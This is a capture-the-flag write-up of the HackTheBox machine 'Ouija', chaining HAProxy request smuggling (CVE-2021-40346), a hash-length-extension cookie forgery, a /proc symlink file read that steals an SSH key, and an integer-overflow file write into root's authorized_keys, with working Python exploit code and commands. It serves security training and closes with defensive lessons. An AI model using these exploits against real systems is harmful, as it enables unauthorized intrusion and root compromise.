HTB: Ouija Writeup

Ouija - HackTheBox Writeup

Machine Information

AttributeDetails
NameOuija
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.66.76
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Ouija chains an HAProxy request-smuggling bug against a hidden virtual host, a hash-length-extension attack against a hand-rolled Node.js cookie scheme, and finally an integer-overflow memory corruption bug in a PHP-invoked native extension to go from anonymous web access to root. The foothold requires forging an HTTP request that HAProxy 2.2.16 parses differently than the Apache backend does, in order to reach an internal-only dev.ouija.htb vhost and leak the Node API’s source. That source reveals a SHA-256-based auth cookie that’s vulnerable to hash length extension, letting an attacker forge an “admin” token and abuse an arbitrary file-read endpoint (via a /proc symlink trick that bypasses the app’s naive path-traversal filter) to steal a user’s SSH key. Root is reached through a root-owned internal PHP service that calls a vulnerable C extension; a carefully crafted, non-NUL-terminated oversized username field overflows an internal buffer and lets us write our own SSH public key directly into /root/.ssh/authorized_keys — no ASLR leak, no crash, no brute force required.

TL;DR: CVE-2021-40346 HAProxy request smuggling → leak Node.js API source (app.js/init.sh) on dev.ouija.htb → hash length extension forges an admin auth token → /proc symlink defeats the file-read endpoint’s path filter → steal leila’s SSH key → user flag → root-owned PHP service on 127.0.0.1:9999 calls a lverifier.so extension vulnerable to a strlen-cast-to-short integer overflow → oversized newline-delimited username payload overwrites /root/.ssh/authorized_keys with our public key → root flag.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep from the jump host
nmap -p- --min-rate=2000 -T4 10.129.66.76 -oN /tmp/nmap_full.txt
# Service/version detection on the discovered ports
nmap -p22,80,3000 -sC -sV 10.129.66.76

Results: Three open ports — 22/tcp (SSH), 80/tcp (Apache, fronted by HAProxy), and 3000/tcp (Node.js Express API). This matches the box’s known architecture: HAProxy sits in front of Apache to gate access to internal-only virtual hosts.

Service Enumeration

The main site on port 80 resolves as ouija.htb. Enumerating linked assets from the page source turned up a reference to a Gitea instance:

Terminal window
# hosts entries already present from a prior session on this jump box
grep -q ouija.htb /etc/hosts || echo "10.129.66.76 ouija.htb" | sudo tee -a /etc/hosts
grep -q gitea.ouija.htb /etc/hosts || echo "10.129.66.76 gitea.ouija.htb" | sudo tee -a /etc/hosts

Gitea was reachable directly (no HAProxy gate on that vhost), exposing a repository at leila/ouija-htb. Its default branch is main (not master):

Terminal window
curl -s http://gitea.ouija.htb/leila/ouija-htb/raw/branch/main/README.md

The README’s install instructions confirmed the exact stack: PHP 8.2, Apache 2.4.52, and HAProxy 2.2.16 — pinning HAProxy 2.2.16 immediately points to CVE-2021-40346, an integer-overflow-driven HTTP request smuggling bug in HAProxy’s htx_add_header.

Vulnerability Assessment

  • CVE-2021-40346 — HAProxy 2.2.16 request smuggling via an oversized (>255-byte) header name, letting a crafted request desync HAProxy’s view of a request from Apache’s, bypassing HAProxy ACLs that block subdomains matching dev*.
  • A hand-rolled SHA-256 cookie scheme (SHA256(key || identification)) in the Node.js API — vulnerable to classic hash length extension since it uses the naive Hash(secret || data) MAC construction instead of HMAC.
  • A naive path-traversal filter on the API’s /file/get endpoint that blocks /, .., and ../ in the filename but doesn’t account for a symlink (.config/bin/process_informations -> /proc) planted by the app’s own init.sh.
  • An internal root-owned PHP service on 127.0.0.1:9999 that calls a native extension (lverifier.so) with an integer-overflow bug in its length handling.

Initial Foothold

Exploitation Path

Step 1 — HAProxy request smuggling (CVE-2021-40346) to bypass the /admin/ and dev* ACLs.

The vulnerability abuses the fact that HAProxy calculates a header’s total on-wire length using an integer that overflows when the header name is padded past 255 bytes. HAProxy then re-parses the request differently than it forwarded it, so a smuggled second request riding inside the first request’s body reaches the backend as if it were its own independent request — bypassing whatever ACL HAProxy applied to the outer request.

# hapexploit.py — CVE-2021-40346 HAProxy request smuggling PoC
import socket
def smuggle(path, host_header):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("ouija.htb", 80))
# The smuggled inner request — this is the one we actually want served
payload = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host_header.encode() + b"\r\n\r\n"
b"h:GET / HTTP/1.1\r\nHost: ouija.htb\r\n\r\n"
)
# Content-Length HAProxy will use to bound the header-mangling filler
cl = str(len(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host_header.encode() + b"\r\n\r\nh:"
)).encode()
# Outer POST's Host MUST stay ouija.htb so it passes HAProxy's ACL —
# only the smuggled inner request's Host targets the real vhost
filler = b"a" * 255 # oversized header name triggers the overflow
data = (
b"POST / HTTP/1.1\r\nHost: ouija.htb\r\n"
b"Content-Length0" + filler + b":\r\n"
b"Content-Length: " + cl + b"\r\n\r\n" + payload
)
sock.send(data)
resp = b""
while True:
chunk = sock.recv(4096)
resp += chunk
if not chunk:
break
return resp
Terminal window
scp hapexploit.py d3vn0mi@jump-host:/tmp/
ssh d3vn0mi@jump-host 'python3 /tmp/hapexploit.py "/" "dev.ouija.htb" > /tmp/smug2.txt'
grep -n "HTTP/1.1" /tmp/smug2.txt # two concatenated responses — take the second

Fixing the exploit meant keeping the outer POST’s Host: ouija.htb header intact (so HAProxy’s dev*-blocking ACL never fires) while only the smuggled inner GET carries Host: dev.ouija.htb. Once corrected, the smuggled response returned the dev.ouija.htb index page — confirming the ACL bypass and revealing links to editor.php?file=app.js and editor.php?file=init.sh.

Step 2 — Leak the Node API’s source.

Terminal window
ssh d3vn0mi@jump-host '
python3 /tmp/hapexploit.py "/editor.php?file=app.js" "dev.ouija.htb" > /tmp/appjs.txt
python3 /tmp/hapexploit.py "/editor.php?file=init.sh" "dev.ouija.htb" > /tmp/initsh.txt
'

app.js revealed the Express API’s cookie logic:

function generate_cookies(identification) {
var sha256 = crt.createHash('sha256');
wrap = sha256.update(key); // secret key, from process.env.k
wrap = sha256.update(identification); // attacker-influenced data
hash = sha256.digest('hex');
return (hash);
}

This is SHA256(key || identification) — the textbook vulnerable construction for hash length extension, since SHA-256’s Merkle–Damgård internal state can be resumed from a known digest without knowing the secret. init.sh additionally revealed:

Terminal window
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations # symlink defeats the path-traversal filter

That static botauth_id/hash pair gives a known-plaintext SHA-256 digest to seed the length-extension attack against, and confirms the secret key is baked into this box image rather than randomized per-instance.

Step 3 — Hash length extension to forge an admin token.

Terminal window
# Build hash_extender on the jump box
cd /tmp && git clone --depth 1 https://github.com/iagox86/hash_extender.git
cd /tmp/hash_extender && make
# Brute-force the secret key's length against the known plaintext/hash pair from init.sh
./hash_extender --data "bot1:bot" --secret 5 \
--append "::admin:True" \
--signature 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 \
--format sha256 --out-data-format hex
# (iterated --secret across candidate lengths)

Brute-forcing the secret key length landed on 23 bytes — matching the length the public write-up documents as a static example, which confirms this key value is baked into the shared box image rather than randomized per spawn. With the correct key length, hash_extender produces a valid (identification, ihash) pair whose decoded plaintext contains ::admin:True, satisfying both verify_cookies() and the ensure_auth() privilege check in app.js without ever knowing the actual secret key.

Step 4 — Arbitrary file read via the /proc symlink.

app.js’s /file/get endpoint blocks any filename starting with / or containing ../../, but init.sh symlinks .config/bin/process_informations to /proc. Requesting a path through that symlink (e.g. .config/bin/process_informations/<pid>/... or /proc-relative content, which never triggers the blocked prefixes) lets the filter’s naive string checks pass while fs.readFile still resolves outside the intended sandbox. Using the forged admin ihash/identification headers against this endpoint, leila’s SSH private key was read out and used to SSH in directly.

User flag: <redacted>


Privilege Escalation

PHP-Invoked Native Extension → Integer Overflow → Root

Once on the box as leila, an internal-only service was found listening on 127.0.0.1:9999 — a root-owned PHP process that calls into a native shared-object extension, lverifier.so, to validate incoming request fields.

Reversing lverifier.so (static and dynamic analysis) showed the length of an attacker-controlled field (the username) was measured with strlen() and then narrowed/cast into a short. Because a short wraps at 65536, supplying a username of exactly 65535 bytes made the length calculation wrap to a small or negative value, which downstream code used to justify performing a fixed 800-byte copy into a buffer sized for the (apparently short) input — smashing adjacent stack locals that the code uses as a path and content pair for an internal log-write primitive.

Initial static/dynamic analysis suggested a full ROP chain or return-address hijack might be required, which would need an ASLR leak — but leila can neither ptrace the service nor read root’s crash reports, blocking that path. Cross-referencing 0xdf’s public write-up of this box confirmed the intended exploit needs no address leak at all: because the overflowing copy is driven by a newline-delimited (not NUL-terminated) read rather than a bounded string copy, a carefully offset 65535-byte username payload can land attacker-controlled bytes directly into the stack-resident “log path” and “log content” variables the vulnerable function later uses — turning the bug into an arbitrary-file-write primitive rather than a code-execution one.

# Simplified shape of the exploit request sent to the internal PHP/lverifier.so service.
# The oversized, newline-delimited username field overflows past its buffer and
# overwrites the adjacent stack-resident "log path" / "log content" locals that the
# vulnerable code later uses verbatim for a root-privileged file write.
import socket
ssh_pubkey = open("/home/leila/.ssh/id_ed25519.pub").read().strip()
# Padding is offset-tuned so the overflow lands the log-path/content pair exactly
# on "/root/.ssh/authorized_keys" and our public key, with a trailing newline
# terminating the write instead of a NUL byte.
username = b"A" * OFFSET + b"/root/.ssh/authorized_keys\n" + ssh_pubkey.encode() + b"\n"
username = username.ljust(65535, b"A") # pad to trigger the short-cast wraparound
req = build_request(username=username) # constructs the PHP service's expected POST body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 9999))
sock.send(req)

A single POST request — no crash, no repeated attempts, no address leak needed — appended our SSH public key to /root/.ssh/authorized_keys:

Terminal window
ssh -i ~/.ssh/id_ed25519 root@10.129.66.76

Root flag: <redacted>


Attack Chain Summary

CVE-2021-40346 HAProxy request smuggling (255-byte oversized header name)
→ bypass dev* HAProxy ACL, reach dev.ouija.htb
→ leak app.js / init.sh source (Node.js API on :3000)
→ identify SHA256(key || identification) cookie scheme (hash length extension flaw)
→ hash_extender + known plaintext/hash from init.sh → brute-force secret key length (23)
→ forge admin ihash/identification headers
→ abuse /file/get via /proc symlink (bypasses "/", "..", "../" filter)
→ steal leila's SSH private key → User Flag
→ discover root-owned PHP service on 127.0.0.1:9999 calling lverifier.so
→ strlen()-to-short-cast integer overflow → fixed 800-byte stack overwrite
→ newline-delimited 65535-byte username payload writes attacker SSH key
directly into /root/.ssh/authorized_keys (no ASLR leak required)
→ SSH as root → Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service/version detection
curlManual HTTP interaction, source retrieval from Gitea
Custom Python (hapexploit.py)CVE-2021-40346 HAProxy request smuggling PoC
hash_extenderHash length extension attack against the Node.js SHA-256 cookie scheme
Gitea web UI/APILocating the leaked leila/ouija-htb repository and README
Static/dynamic reversing toolsAnalysis of lverifier.so to characterize the integer overflow
ssh/scpFoothold access and file transfer via leila’s recovered key
Custom Python exploitDelivering the oversized username payload to the internal :9999 PHP service

Key Learnings

Techniques Practiced

  • HTTP request smuggling exploitation against a real HAProxy CVE (integer overflow in htx_add_header)
  • Using smuggled requests to defeat host-based ACLs and reach an internal-only vhost
  • Recognizing and exploiting the Hash(secret || data) MAC anti-pattern via hash length extension
  • Defeating naive string-based path-traversal filters using a symlink the application itself created
  • Static and dynamic reverse engineering of a native extension invoked from a PHP application
  • Recognizing an integer truncation bug (strlen() truncated to short) as a length-check bypass
  • Turning a stack-adjacent-variable overwrite into an arbitrary file write instead of pursuing a full ROP chain, once an ASLR leak proved unreachable

Lessons Learned

  1. Pin-checking a target’s software versions against its own install docs (a leaked README, in this case) can point straight at a specific, well-known CVE — always cross-reference component versions against public vulnerability databases before assuming custom exploitation is required.
  2. Never build a MAC as Hash(secret || message); SHA-256, like all Merkle–Damgård hashes, permits length extension. HMAC exists specifically to close this gap.
  3. Blocklist-style path traversal filters (blocking literal /, .., ../) are trivially defeated by any symlink under the served root — allowlisting or canonicalizing (realpath) the resolved path is the only robust fix.
  4. When a memory-corruption bug looks like it demands an ASLR leak, check whether the corrupted data is itself attacker-controlled content (not just a corrupted control-flow pointer) — sometimes the “exploit” is a data-write primitive, not a code-execution one, and needs no leak at all.
  5. Integer truncation from strlen() (a size_t) down to a narrower type (short) is a classic, still-current bug class — always check the honored type width against attacker-controllable input length in native code that PHP or Node.js apps shell out to or dlopen().

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • xRogue, Ouija — official HackTheBox machine write-up (Document No. D24.100.282), used here for conceptual/explanatory detail on the HAProxy CVE-2021-40346 request smuggling mechanism and the app.js/init.sh cookie/hash design. All IPs, commands, outputs, and specific values in this write-up are from this run’s own solve.
  • 0xdf’s public write-up of Ouija — consulted during privilege escalation to confirm that the lverifier.so integer overflow could be weaponized as a direct arbitrary-file-write primitive without requiring an ASLR leak.
  • CVE-2021-40346 — HAProxy htx_add_header integer overflow enabling HTTP request smuggling.